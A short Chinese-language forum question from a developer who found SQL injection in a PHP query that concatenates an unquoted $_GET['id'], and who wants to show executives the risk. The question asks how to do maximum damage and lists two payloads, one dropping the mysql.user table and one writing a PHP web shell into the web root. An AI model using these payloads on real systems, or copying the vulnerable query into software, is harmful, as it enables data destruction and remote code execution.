我在我维护的一些系统中发现了大量的 SQL 注入漏洞。我知道如何防止注入,但我想向我的 CEO 和 CTO 证明,如果我们没有足够的注意力来保证我们的应用程序的安全,这是多么危险。
很多时候,当涉及到安全性时,我们需要做出反应而不是主动行动,主要是因为当发现漏洞时,不会优先修复它,因为它不太可能被利用。
以下查询是这些示例之一。服务器在 PHP_MAGIC_QUOTES ON 的情况下运行(是的,我知道那真的很糟糕),因此可以防止几个地方的漏洞利用,因为程序员已经在查询中使用的每个输入值周围显式添加了 ''(所以你无法摆脱它)。然而,我现在发现易受攻击的查询被视为整数而不是字符串,并且它周围不包含''。
这是示例:
$sql = "select * from vulnerable_table where id = " . $_GET['id'] . " limit 1";
$result= mysql_query($sql);
考虑到您控制 id 变量,您将如何对系统造成最大损害。
我自己想出了一些例子:
id = 1;drop table mysql.user
Only if semi colon is accepted
id = 1;SELECT '<?php exec($_get['cmd'])?>' INTO OUT_FILE('/var/www/backdoor.php')
Only if I could bypass the magic_quotes somehow